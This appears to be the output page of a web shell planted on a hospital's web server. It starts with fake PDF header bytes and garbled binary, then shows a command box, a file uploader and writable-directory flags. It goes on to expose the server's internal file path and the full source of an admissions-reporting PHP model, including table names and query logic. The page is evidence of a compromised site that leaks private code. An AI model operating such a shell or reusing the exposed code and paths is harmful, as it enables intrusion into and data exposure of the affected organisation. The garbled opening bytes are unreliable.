%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/models/Reports_model.php
<?php 
class Reports_model extends CI_Model {
    function __construct() {
        parent::__construct();
        // $this->count_qr_select="COUNT(1) total, 
        //                         COUNT(IF(A.step_completed=1, 1, NULL)) step1, 
        //                         COUNT(IF(A.step_completed=2, 1, NULL)) step2, 
        //                         COUNT(IF(A.step_completed=3, 1, NULL)) step3, 
        //                         COUNT(IF(A.payment_status=1, 1, NULL)) paid, 
        //                         COUNT(IF(PSS.status='ADM_OFFERED' OR PSS.status='ADM_FINAL', 1, NULL)) adm_offered, 
        //                         COUNT(IF(PSS.status='ADM_FINAL', 1, NULL)) adm_final";
        $this->count_qr_select="COUNT(1) total, 
                                COUNT(IF(A.step_completed=1, 1, NULL)) step1, 
                                COUNT(IF(A.step_completed >= 2, 1, NULL)) step2, 
                                COUNT(IF(A.suat_status = 1, 1, NULL)) step3, 
                                COUNT(IF(A.susat_appeared_status = 1, 1, NULL)) paid, 
                                COUNT(IF(A.admission_status = 1, 1, NULL)) adm_offered, 
                                COUNT(IF(A.fee_paid_status = 1, 1, NULL)) adm_final";
        
    }

	function set_search_cond($lvOpt=FALSE){
        $qs=trim_array($_REQUEST);

        if(USER_TYPE!='ADMIN' && USER_TYPE!='USER'){
            $users=$this->user->active_users(true);
            $userids=[0];
            foreach($users as $u){
                $userids[]=$u['id'];
            }
        }
        if($qs['grp']){
            $gutmids=$this->common->utm_group_ids($qs['grp']);
        }
        
        if($qs['data_set_id']){
            $lvOpt=$this->dataset->detail($qs['data_set_id']);
        }
        $this->common->set_data_set_cond($lvOpt, true);

        /** */
        if(Lead_View_ByYou){
            $uids=$userids;
            if(!$uids){
                $uids=[USER_ID];
            }
            $this->db->where_in("A.created_by", $uids);
        }
        if((Online_Leads || Offline_Leads) && !(Online_Leads && Offline_Leads)){
            if(Online_Leads){
                $this->db->where("U.verified_by!=", 'OFFLINE');
            }
            if(Offline_Leads){
                $this->db->where("U.verified_by", 'OFFLINE');
            }
        }
        /** \ */

        if($qs['campus_id']){
            $this->db->where("A.campus_id", $qs['campus_id']);
        }

        if($qs['utm_source_id']){
            $this->db->where("U.utm_source_id", $qs['utm_source_id']);
        }else if($qs['grp']){
            $this->db->where_in("U.utm_source_id", $gutmids);
        }
        if($qs['state_id']){
            $this->db->where("U.state_id", $qs['state_id']);
        }

		if($qs['dateFrom']){
			$this->db->where("A.created >=", date('Y-m-d', strtotime($qs['dateFrom'])));
		}
		if($qs['dateTo']){
			$this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($qs['dateTo'])));
        }
        
        if($qs['med_phd']==='1'){
			$this->db->where("U.is_medical", 1);
		}elseif($qs['med_phd']==='2'){
			$this->db->where("U.is_phd", 1);
		}elseif($qs['med_phd']==='4'){
			$this->db->where(["U.is_medical"=>0, "U.is_phd"=>0]);
		}elseif($qs['med_phd']==='3'){
			$this->db->where(["U.is_phd"=>0]);
		}

        $this->db->join("pay_trans PTRANS", "PTRANS.id=A.pay_trans_id", "LEFT");
    }
    
	function dashboard($limit){
        $lvOpt=$this->dataset->detail(0, USER_ID);
        $source_id="-1";
        if($lvOpt['utm_sources']){
			$source_id=implode(",", $lvOpt['utm_sources']);
		}
        
        $res=array();
        $today = date('Y-m-d');
        $res['today_date']=date('d M Y');
        $res['yesterday_date']=date('d M Y',strtotime('-1 day',strtotime($today)));
        
        /** Today Leads */
        $dtl=$this->today_yesterday_data('Today');
        $res['today_leads']=$dtl['leads_count'];
        $res['multi_applicant']['today']=$dtl['multi_applicant'];
        $res['fail_txn']['today']=$dtl['fail_txn'];
        $res['queries']['today']=$dtl['queries'];
        $res['today_steps']=$dtl['steps'];

        /** Old Leads */
        $dtl=$this->today_yesterday_data('Yesterday');
        $res['old_leads']=$dtl['leads_count'];
        $res['multi_applicant']['old']=$dtl['multi_applicant'];
        $res['fail_txn']['old']=$dtl['fail_txn'];
        $res['queries']['old']=$dtl['queries'];
        $res['old_steps']=$dtl['steps'];

        $res['count']=$this->counts();

        return $res;

        // $res1=$this->dashboard_top_leads($limit);
        // return array_merge($res, $res1);
    }
    function dashboard_top_leads($limit){
        /** Top Lead Sources */
        $res['lead_sources'] = $this->leadSourceWise($limit);
        /** Top Lead States */
        $res['lead_states'] = $this->leadStateWise($limit);
        /** Top Lead Programmes */
        $res['lead_programmes'] = $this->leadProgrammeWise($limit);
        /** Top Lead Disciplines */
        $res['lead_discipline'] = $this->leadDisciplineWise($limit);
        /** Top Lead Schools */
        $res['lead_schools'] = $this->leadSchoolWise($limit);

        return $res;
    }

    function counts(){
        $res=['queries_count'=>0, 'folloups_count'=>0, 'sent_emails_count'=>0, 'dead_leads_count'=>0];
        
        $this->set_search_cond();
        $rs=$this->db->select("COUNT(U.id) n", false)->from("applications A")->join("applicants U", "A.applicant_id=U.id")->join("issues_reported IR", "IR.applicant_id=U.id")->get()->row_array();
        $res['queries_count']=(int)$rs['n'];

        $this->set_search_cond();
        $rs=$this->db->select("COUNT(U.id) n", false)->from("applications A")->join("applicants U", "A.applicant_id=U.id")->where(['A.last_followup_id>'=>0])->get()->row_array();
        $res['folloups_count']=(int)$rs['n'];

        $this->set_search_cond();
        $rs=$this->db->select("COUNT(U.id) n", false)->from("applications A")->join("applicants U", "A.applicant_id=U.id")->join("sent_emails IR", "IR.to_email=U.email")->get()->row_array();
        $res['sent_emails_count']=(int)$rs['n'];

        $this->set_search_cond();
        $rs=$this->db->select("COUNT(U.id) n", false)->from("applications A")->join("applicants U", "A.applicant_id=U.id")->where(['A.isdead'=>'Y'])->get()->row_array();
        $res['dead_leads_count']=(int)$rs['n'];

        return $res;
    }

    function today_yesterday_data($flg='Today'){
        $report_query = "
            COUNT(A.id) total,
            COUNT(IF(A.step_completed >= 2, 1, NULL)) step_2,
            COUNT(IF(A.suat_status =1, 1, NULL)) susate_regd,
            COUNT(IF(A.susat_appeared_status = 1, 1, NULL)) susate_appeared,
            COUNT(IF(A.admission_status = 1, 1, NULL)) admission_offered,
            COUNT(IF(A.contract_status = 1, 1, NULL)) contract_signed,
            COUNT(IF(A.fee_paid_status = 1, 1, NULL)) admitted
        ";
        $today = date('Y-m-d');
        $res=[];
        $this->set_search_cond();
        if($flg=='Today'){
            $this->db->where("DATE(A.created)", $today);
        }else{
            $this->db->where("A.created <", $today);
        }
        $rs=$this->db->select($report_query, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        //->group_by("A.step_completed")
        ->get()->row_array();
        //echo $this->db->last_query();
        
        $res['leads_count']=['total'=>0, 'total_per'=>100, 'step_2'=>0, 'step_2_per'=>0, 'susate_regd'=>0, 'susate_regd_per'=>0, 'susate_appeared'=>0, 'susate_appeared_per'=>0, 'admission_offered'=>0, 'admission_offered_per'=>0, 'contract_signed'=>0, 'contract_signed_per'=>0, 'admitted' =>0, 'admitted_per' => 0];
        $res['leads_count']['total']=$rs['total'];
        $res['leads_count']['step_2']=$rs['step_2'];
        $res['leads_count']['susate_regd']=$rs['susate_regd'];
        $res['leads_count']['susate_appeared']=$rs['susate_appeared'];
        $res['leads_count']['admission_offered']=$rs['admission_offered'];

        $res['leads_count']['contract_signed']=$rs['contract_signed'];
        $res['leads_count']['admitted']=$rs['admitted'];

        if($res['leads_count']['total']>0){
            $res['leads_count']['step_2_per']=round(($res['leads_count']['step_2']*100/$res['leads_count']['total']), 2);
            $res['leads_count']['susate_regd_per']=round(($res['leads_count']['susate_regd']*100/$res['leads_count']['total']), 2);
            $res['leads_count']['susate_appeared_per']=round(($res['leads_count']['susate_appeared']*100/$res['leads_count']['total']), 2);

            $res['leads_count']['admission_offered_per']=round(($res['leads_count']['admission_offered']*100/$res['leads_count']['total']), 2);
            $res['leads_count']['contract_signed_per']=round(($res['leads_count']['contract_signed']*100/$res['leads_count']['total']), 2);
            $res['leads_count']['admitted_per']=round(($res['leads_count']['admitted']*100/$res['leads_count']['total']), 2);
        }

        $this->set_search_cond();
        if($flg=='Today'){
            $this->db->where("DATE(A.created)", $today);
        }else{
            $this->db->where("A.created <", $today);
        }
        $rs=$this->db->select("A.applicant_id, COUNT(DISTINCT A.id) total")
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("A.applicant_id")
        ->having("total >", 1)
        ->get()->result_array();
        $res['multi_applicant']=(int)count($rs);
        
        $this->set_search_cond();
        if($flg=='Today'){
            $this->db->where("DATE(T.created)", $today);
        }else{
            $this->db->where("T.created <", $today);
        }
        $this->db->where('T.txn_status', 'TXN_FAILURE');
        $rs=$this->db->select("COUNT(DISTINCT T.id) total")
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("pay_trans T", "A.applicant_id=T.applicant_id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->get()->row_array();
        $res['fail_txn']=(int)$rs['total'];
        
        $this->set_search_cond();
        $this->db->where('IR.parent_id', 0);
        if($flg=='Today'){
            $this->db->where("DATE(IR.created)", $today);
        }else{
            $this->db->where("IR.created <", $today);
        }
        $rs=$this->db->select("COUNT(DISTINCT IR.id) total")
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("issues_reported IR", "A.applicant_id=IR.applicant_id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->get()->row_array();
        $res['queries']=(int)$rs['total'];

        /** Cumalative Bar Chart */
        $labels=['', 'Step 1', 'Prospect(Step-2)', 'SUSAT Registration(Step-3)', 'SUSAT Appeared(Step-4)', 'Admission Offered(Step-5)', 'Contract Signed(Step-6)', 'Admitted(Step-7)'];
        $res['steps']=[
            'steps'=>[], 'total'=>0, 'c_steps'=>[], 'c_total'=>0,
        ];
        $this->set_search_cond();
        if($flg=='Today'){
            $this->db->where("DATE(A.created)", $today);
        }else{
            $this->db->where("A.created <", $today);
        }

        $rs=$this->db->select("IF(PSS.status='ADM_FINAL', '5', IF(PSS.status='ADM_OFFERED', '4', A.step_completed)) step, count(1) n")
        ->from("applications A")
        ->join("applicants U", "A.applicant_id=U.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("step")
        ->get()->result_array();

        $rs=key_val_array($rs, 'step', 'n');
        for($i=1; $i<=7; $i++){
            $res['steps']['steps'][]=['step'=>$labels[$i], 'c'=>(int)$rs[$i]];
            $res['steps']['total']+=(int)$rs[$i];

            $ct=0;
            for($j=$i; $j<=7; $j++){
                $ct+=(int)$rs[$j];
            }
            $res['steps']['c_steps'][]=['step'=>$labels[$i], 'c'=>$ct];
            $res['steps']['c_total']=$res['steps']['total'];
        }
        return $res;
    }

    function count_lead_total_per($rs, $limit){
        $res=['result'=>[], 'total'=>[]];
        if($rs){
            usort($rs, function($a, $b) {
                return $b['total']-$a['total'];
            });
            $total['sum_total_lead']=$total['sum_step2']=$total['sum_step3']=$total['sum_paid']=$total['sum_adm_offered']=$total['sum_adm_final']=0;
            
            $total['sum_total_lead_per']=100;
            $total['sum_step2_per']=$total['sum_step3_per']=$total['sum_adm_offered_per']=$total['sum_adm_final_per']=0;
            foreach($rs as $i=>$r){
                if($i==$limit){
                    break;
                }

                $r['total_per']=100;
                $r['step2_per']=$r['step3_per']=$r['paid_per']=$r['adm_offered_per']=$r['adm_final_per']=0;
                if($r['total']>0){
                    // $r['step1_per']=number_format(($r['step1']*100/$r['total']), 1);
                    $r['step2_per']=number_format(($r['step2']*100/$r['total']), 1);
                    $r['step3_per']=number_format(($r['step3']*100/$r['total']), 1);
                    $r['paid_per']=number_format(($r['paid']*100/$r['total']), 1);
                    $r['adm_offered_per']=number_format(($r['adm_offered']*100/$r['total']), 1);
                    $r['adm_final_per']=number_format(($r['adm_final']*100/$r['total']), 1);
                }
                $total['sum_total_lead']=$total['sum_total_lead']+$r['total'];
                //$total['sum_step1']=$total['sum_step1']+$r['step1'];
                $total['sum_step2']=$total['sum_step2']+$r['step2'];
                $total['sum_step3']=$total['sum_step3']+$r['step3'];
                $total['sum_paid']=$total['sum_paid']+$r['paid'];
                $total['sum_adm_offered']=$total['sum_adm_offered']+$r['adm_offered'];
                $total['sum_adm_final']=$total['sum_adm_final']+$r['adm_final'];

                $res['result'][]=$r;
            }
            if($total['sum_total_lead']>0){
                //$total['sum_step1_per']=number_format(($total['sum_step1']*100/$total['sum_total_lead']), 1);
                $total['sum_step2_per']=number_format(($total['sum_step2']*100/$total['sum_total_lead']), 1);
                $total['sum_step3_per']=number_format(($total['sum_step3']*100/$total['sum_total_lead']), 1);
                $total['sum_paid_per']=number_format(($total['sum_paid']*100/$total['sum_total_lead']), 1);
                $total['sum_adm_offered_per']=number_format(($total['sum_adm_offered']*100/$total['sum_total_lead']), 1);
                $total['sum_adm_final_per']=number_format(($total['sum_adm_final']*100/$total['sum_total_lead']), 1);

                foreach($res['result'] as &$t){
                    $t['total_per_c']=$t['step1_per_c']=$t['step2_per_c']=$t['step3_per_c']=$t['paid_per_c']=$t['adm_offered_per_c']=$t['adm_final_per_c']=0;
                    if($total['sum_total_lead']>0){
                        $t['total_per_c']=number_format(($t['total']*100/$total['sum_total_lead']), 1);
                    }
                    // if($total['sum_step1']>0){
                    //     $t['step1_per_c']=number_format(($t['step1']*100/$total['sum_step1']), 1);
                    // }
                    if($total['sum_step2']>0){
                        $t['step2_per_c']=number_format(($t['step2']*100/$total['sum_step2']), 1);
                    }
                    if($total['sum_step3']>0){
                        $t['step3_per_c']=number_format(($t['step3']*100/$total['sum_step3']), 1);
                    }
                    if($total['sum_paid']>0){
                        $t['paid_per_c']=number_format(($t['paid']*100/$total['sum_paid']), 1);
                    }
                    if($total['sum_adm_offered']>0){
                        $t['adm_offered_per_c']=number_format(($t['adm_offered']*100/$total['sum_adm_offered']), 1);
                    }
                    if($total['sum_adm_final']>0){
                        $t['adm_final_per_c']=number_format(($t['adm_final']*100/$total['sum_adm_final']), 1);
                    }
                }
            }
            $res['total']=$total;
        }
        return $res;
    }

    function leadGroupWise($limit=0){
        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("S.grp title, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_utm_sources S", "U.utm_source_id=S.id")
        ->group_by("S.grp")
        ->order_by("total", "DESC")
        ->limit($limit)
        ->get()->result_array();
        return $this->count_lead_total_per($rs, $limit);
    }
    
    function leadSourceWise($limit=0){
        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("S.title, {$this->count_qr_select}", false)
        ->from("applications A")
        ->join("applicants U", "A.applicant_id=U.id")
        ->join("master_utm_sources S", "U.utm_source_id=S.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("U.utm_source_id")
        ->get()->result_array();
        return $this->count_lead_total_per($rs, $limit);
    }

    function leadMediumWise($limit=0){
        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("IF(U.utm_medium='', 'N/A', U.utm_medium) title, {$this->count_qr_select}", false)
        ->from("applications A")
        ->join("applicants U", "A.applicant_id=U.id")
        ->join("master_programs P", "A.program_id=P.id", "LEFT")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("U.utm_medium")
        ->get()->result_array();

        return $this->count_lead_total_per($rs, $limit);
    }
    
    function leadStateWise($limit=0){
        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("S.title, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_states S", "U.state_id=S.id")
        ->group_by("U.state_id")
        //->order_by("total", "DESC")
        //->limit($limit)
        ->get()->result_array();

        return $this->count_lead_total_per($rs, $limit);
    }
    
    function leadProgrammeWise($limit=0){
        $programs=key_val_array($this->db->select("id,title")->get("master_programs")->result_array(), 'id', 'title');

        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("A.program_id, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("A.program_id")
        //->order_by("total", "DESC")
        //->limit($limit)
        ->get()->result_array();

        //echo $this->db->last_query(); die;

        if($rs){
            foreach($rs as $i=>&$r){
                $r['title']=$programs[$r['program_id']];
            }
        }
        return $this->count_lead_total_per($rs, $limit);
    }
    
    function leadDisciplineWise($limit=0){
        $disciplines=key_val_array($this->db->select("id,title")->get("master_disciplines")->result_array(), 'id', 'title');
        
        $limit=$limit?$limit:1000;

        $this->set_search_cond();
        $rs=$this->db->select("P.discipline_id, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_programs P", "A.program_id=P.id", "LEFT")
        //->join("master_disciplines D", "P.discipline_id=D.id")
        //->join("master_utm_sources S", "U.utm_source_id=S.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("P.discipline_id")
        //->order_by("total", "DESC")
        //->limit($limit)
        ->get()->result_array();

        //echo $this->db->last_query(); die;
        if($rs){
            foreach($rs as $i=>&$r){
                $r['title']=$disciplines[$r['discipline_id']];
            }
        }
        return $this->count_lead_total_per($rs, $limit);
    }
    
    function leadSchoolWise($limit=0){
        $schools=key_val_array($this->db->select("id,title")->get("master_schools")->result_array(), 'id', 'title');

        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("P.school_id, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_programs P", "A.program_id=P.id", "LEFT")
        //->join("master_schools S", "P.school_id=S.id")
        //->join("master_utm_sources S", "U.utm_source_id=S.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("P.school_id")
        //->order_by("total", "DESC")
        //->limit($limit)
        ->get()->result_array();

        //echo $this->db->last_query(); die;

        if($rs){
            foreach($rs as $i=>&$r){
                $r['title']=$schools[$r['school_id']];
            }
        }
        return $this->count_lead_total_per($rs, $limit);
    }

    function leadLandingPageWise($limit=0){
        $lpages=key_val_array($this->db->select("id,title")->get("landing_pages")->result_array(), 'id', 'title');

        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("U.lpage_id, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("U.lpage_id")
        //->order_by("total", "DESC")
        //->limit($limit)
        ->get()->result_array();

        if($rs){
            foreach($rs as $i=>&$r){
                $r['title']=$lpages[$r['lpage_id']];
            }
        }
        return $this->count_lead_total_per($rs, $limit);
    }

    function publishersWise($limit=0){
        $publishers=$this->db->select("id, name, data_set_id")->get_where("users", ['type'=>'PUBLISHER', 'status'=>1])->result_array();
        $rs=[];
        foreach($publishers as $r){
            $lvOpt=$this->dataset->detail($r['data_set_id']);
            $this->set_search_cond($lvOpt);
            $c=$this->db->select("{$this->count_qr_select}", false)
                ->from("applications A ")
                ->join("applicants U ", "A.applicant_id=U.id")
                ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
                ->get()->row_array();
            $c['title']=$r['name'];
            $rs[]=$c;
        }
        return $this->count_lead_total_per($rs, $limit?$limit:1000);
    }

    function genderWise($limit=0){
        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $rs=$this->db->select("IF(U.gender='', 'N/A', U.gender) title, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("U.gender")
        ->get()->result_array();

        return $this->count_lead_total_per($rs, $limit);
    }

    function amountWise($limit=0){
        $limit=$limit?$limit:1000;
        $this->set_search_cond();
        $this->db->where('A.payment_status', 1);
        $rs=$this->db->select("(A.fee-A.coupan_amt) title, {$this->count_qr_select}", false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
        ->group_by("(A.fee-A.coupan_amt)")
        ->get()->result_array();

        return $this->count_lead_total_per($rs, $limit);
    }

    function apiVendorWiseLeads(){
        $qs=trim_array($_REQUEST);
        if(IS_PUBLISHER){
            $this->db->where("a.publisher_id", USER_ID);
        }
        if($qs['dateFrom']){
            $this->db->where("a.created>=", get_date($qs['dateFrom'], '', 'Y-m-d'));
        }
        if($qs['dateTo']){
            $this->db->where("a.created<=", get_date($qs['dateTo'], '', 'Y-m-d 23:59:59'));
        }

        $f="u.name vendor, 
            COUNT(1) total,
            COUNT(IF(a.status='SUCCESS', 1, NULL)) success,
            COUNT(IF(a.rejection_code='403', 1, NULL)) rejected_data_err,
            COUNT(IF(a.rejection_code='405', 1, NULL)) rejected_duplicate,
            COUNT(IF(a.rejection_code='406', 1, NULL)) rejected_state_not_allowed,
            COUNT(IF(a.rejection_code='407', 1, NULL)) rejected_daily_limit
            ";
        $rs=$this->db->select($f)
        ->from("api_leads a")
        ->join("users u", "u.id=a.publisher_id")
        ->group_by("a.publisher_id")
        ->order_by("vendor")
        ->get()
        ->result_array();

        $totals=['total'=>0, 'success'=>0, 'rejected_duplicate'=>0, 'rejected_state_not_allowed'=>0, 'rejected_daily_limit'=>0, 'rejected_data_err'=>0];
        if($rs){
            foreach($rs as &$r){
                foreach($totals as $k=>$v){
                    $r[$k]=(int)$r[$k];
                    $totals[$k]+=$r[$k];
                }
            }
        }else{
            $rs=[];
        }

        return ['lists'=>$rs, 'totals'=>$totals];
    }

    /** Detailed Analysis */
    function leads_months(){
        $rs=$this->db->select("DATE_FORMAT(created, '%Y-%m') ym, DATE_FORMAT(created, '%b,%Y') month_name")->from("applications")->group_by("ym")->get()->result_array();
        return $rs;
    }
    function leads_paid_monthly_daily_format($rs, $k, $month=''){
        if($month){
            $heads=$this->db->select("DATE_FORMAT(created, '%Y-%m-%d') head, DATE_FORMAT(created, '%d %b,%Y') head_name")->from("applications")->like("created", $month, "AFTER")->group_by("head")->get()->result_array();
        }else{
            $heads=$this->db->select("DATE_FORMAT(created, '%Y-%m') head, DATE_FORMAT(created, '%b,%Y') head_name")->from("applications")->group_by("head")->get()->result_array();
        }

        $res=['head'=>$heads, 'result'=>[], 'total'=>[]];
        if($rs){
            $rs=group_array($rs, $k);
            foreach($rs as $k=>$r){
                $rs[$k]=group_array($rs[$k], 'head');
            }
            foreach($rs as $k=>$r){
                foreach($res['head'] as $k1=>$r1){
                    $rs[$k][$r1['head']][0]['leads']=(int)$rs[$k][$r1['head']][0]['leads'];
                    $rs[$k][$r1['head']][0]['paid']=(int)$rs[$k][$r1['head']][0]['paid'];

                    $res['total'][$r1['head']]['leads']=(int)$res['total'][$r1['head']]['leads']+$rs[$k][$r1['head']][0]['leads'];
                    $res['total'][$r1['head']]['paid']=(int)$res['total'][$r1['head']]['paid']+$rs[$k][$r1['head']][0]['paid'];
                }
            }

            $res['result']=$rs;
        }
        return $res;
    }
    function leads_group_wise_monthly(){
        $this->set_search_cond(0,0);
        $qs=trim_array($this->input->get());
        if($qs['month']){
            $f="S.grp grp, DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            $this->db->like("A.created", $qs['month'], "AFTER");
        }else{
            $f="S.grp grp, DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
        }

        $rs=$this->db->select($f, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_utm_sources S", "U.utm_source_id=S.id")
        ->group_by("S.grp, head")
        ->order_by("leads", "DESC")
        ->get()->result_array();

        return $this->leads_paid_monthly_daily_format($rs, 'grp', $qs['month']);
    }
    function leads_source_wise_monthly(){
        $this->set_search_cond(0,0);
        $qs=trim_array($this->input->get());
        if($qs['month']){
            $f="S.title source, DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            $this->db->like("A.created", $qs['month'], "AFTER");
        }else{
            $f="S.title source, DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
        }

        $rs=$this->db->select($f, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_utm_sources S", "U.utm_source_id=S.id")
        ->group_by("U.utm_source_id, head")
        ->order_by("leads", "DESC")
        ->get()->result_array();

        return $this->leads_paid_monthly_daily_format($rs, 'source', $qs['month']);
    }
    function leads_program_wise_monthly(){
        $programs=key_val_array($this->db->select("id,title")->get("master_programs")->result_array(), 'id', 'title');
        $this->set_search_cond(0,0);
        $qs=trim_array($this->input->get());

        if($qs['month']){
            $f="A.program_id, DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            $this->db->like("A.created", $qs['month'], "AFTER");
        }else{
            $f="A.program_id, DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
        }

        $rs=$this->db->select($f, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->group_by("A.program_id, head")
        ->order_by("leads", "DESC")
        ->get()->result_array();

        foreach($rs as &$r){
            $r['program']=$programs[$r['program_id']];
            unset($r['program_id']);
        }

        return $this->leads_paid_monthly_daily_format($rs, 'program', $qs['month']);
    }
    function leads_discipline_wise_monthly(){
        $disciplines=key_val_array($this->db->select("id,title")->get("master_disciplines")->result_array(), 'id', 'title');
        $this->set_search_cond(0,0);
        $qs=trim_array($this->input->get());

        if($qs['month']){
            $f="P.discipline_id, DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            $this->db->like("A.created", $qs['month'], "AFTER");
        }else{
            $f="P.discipline_id, DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
        }

        $rs=$this->db->select($f, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_programs P", "A.program_id=P.id", "LEFT")
        //->join("master_utm_sources S", "U.utm_source_id=S.id")
        ->group_by("P.discipline_id, head")
        ->order_by("leads", "DESC")
        ->get()->result_array();
        
        foreach($rs as &$r){
            $r['discipline']=$disciplines[$r['discipline_id']];
            unset($r['discipline_id']);
        }

        return $this->leads_paid_monthly_daily_format($rs, 'discipline', $qs['month']);
    }
    function leads_state_wise_monthly(){
        $this->set_search_cond(0,0);
        $qs=trim_array($this->input->get());
        if($qs['month']){
            $f="S.title state, DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            $this->db->like("A.created", $qs['month'], "AFTER");
        }else{
            $f="S.title state, DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
        }

        $rs=$this->db->select($f, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->join("master_states S", "U.state_id=S.id")
        ->group_by("U.state_id, head")
        ->order_by("leads", "DESC")
        ->get()->result_array();
        
        return $this->leads_paid_monthly_daily_format($rs, 'state', $qs['month']);
    }
    function leads_publishers_wise_monthly(){
        $qs=trim_array($this->input->get());
        $publishers=$this->db->select("id, name, data_set_id")->get_where("users", ['type'=>'PUBLISHER'])->result_array();
        $rs=[];
        foreach($publishers as $r){
            $lvOpt=$this->dataset->detail($r['data_set_id']);
            $this->set_search_cond($lvOpt, 0);
            if($qs['month']){
                $f="DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
                $this->db->like("A.created", $qs['month'], "AFTER");
            }else{
                $f="DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            }
            
            $c=$this->db->select($f, false)
                ->from("applications A ")
                ->join("applicants U ", "A.applicant_id=U.id")
                ->get()->row_array();

            $c['name']=$r['name'];
            $rs[]=$c;
        }

        usort($rs, function($a, $b) {
            return $b['leads']-$a['leads'];
        });
        
        return $this->leads_paid_monthly_daily_format($rs, 'name', $qs['month']);
    }

    function leads_multi_source_da(){
